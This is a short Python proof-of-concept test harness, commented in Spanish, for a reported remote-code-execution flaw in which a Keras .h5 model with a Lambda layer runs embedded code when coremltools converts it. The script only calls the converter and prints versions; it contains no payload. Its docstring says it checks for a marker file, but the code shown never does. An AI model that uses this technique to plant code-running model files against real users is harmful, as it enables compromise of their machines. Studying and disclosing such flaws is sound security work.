| """ |
| PoC end-to-end -- coremltools focus-04, hallazgo "Keras H5 Lambda RCE". |
| |
| Simula a una victima que descarga un `.h5` de un repo/model-zoo no confiable y simplemente |
| quiere "convertirlo" a Core ML -- nada mas. Llama a `coremltools.convert(...)` desde un proceso |
| Python limpio y comprueba si el fichero marcador aparece (senal de que el payload embebido en el |
| Lambda del .h5 se ejecuto durante la propia llamada a convert(), sin que la victima ejecutase el |
| modelo ni pidiese nada mas que la conversion). |
| |
| Uso: <python-del-venv> poc_convert.py <ruta.h5> |
| """ |
| import sys |
| import traceback |
|
|
| if len(sys.argv) != 2: |
| print("Uso: poc_convert.py <ruta.h5>") |
| sys.exit(1) |
|
|
| H5_PATH = sys.argv[1] |
|
|
| print(f"[poc_convert] Proceso limpio. Importando coremltools...") |
| import coremltools as ct |
|
|
| print(f"[poc_convert] coremltools.__version__ = {ct.__version__}") |
| import tensorflow as tf |
| print(f"[poc_convert] tensorflow.__version__ = {tf.__version__}") |
| try: |
| import keras as _keras_pkg |
| print(f"[poc_convert] keras.__version__ = {_keras_pkg.__version__}") |
| except Exception as _e: |
| print(f"[poc_convert] (no se pudo leer keras.__version__ directamente: {_e})") |
|
|
| print(f"[poc_convert] Llamando a ct.convert({H5_PATH!r}, source='tensorflow') ...") |
| try: |
| mlmodel = ct.convert(H5_PATH, source="tensorflow") |
| print("[poc_convert] ct.convert() completo SIN excepcion.") |
| except Exception as e: |
| print(f"[poc_convert] ct.convert() lanzo una excepcion: {type(e).__name__}: {e}") |
| traceback.print_exc() |
|
|
| print("[poc_convert] Fin del script.") |
|
|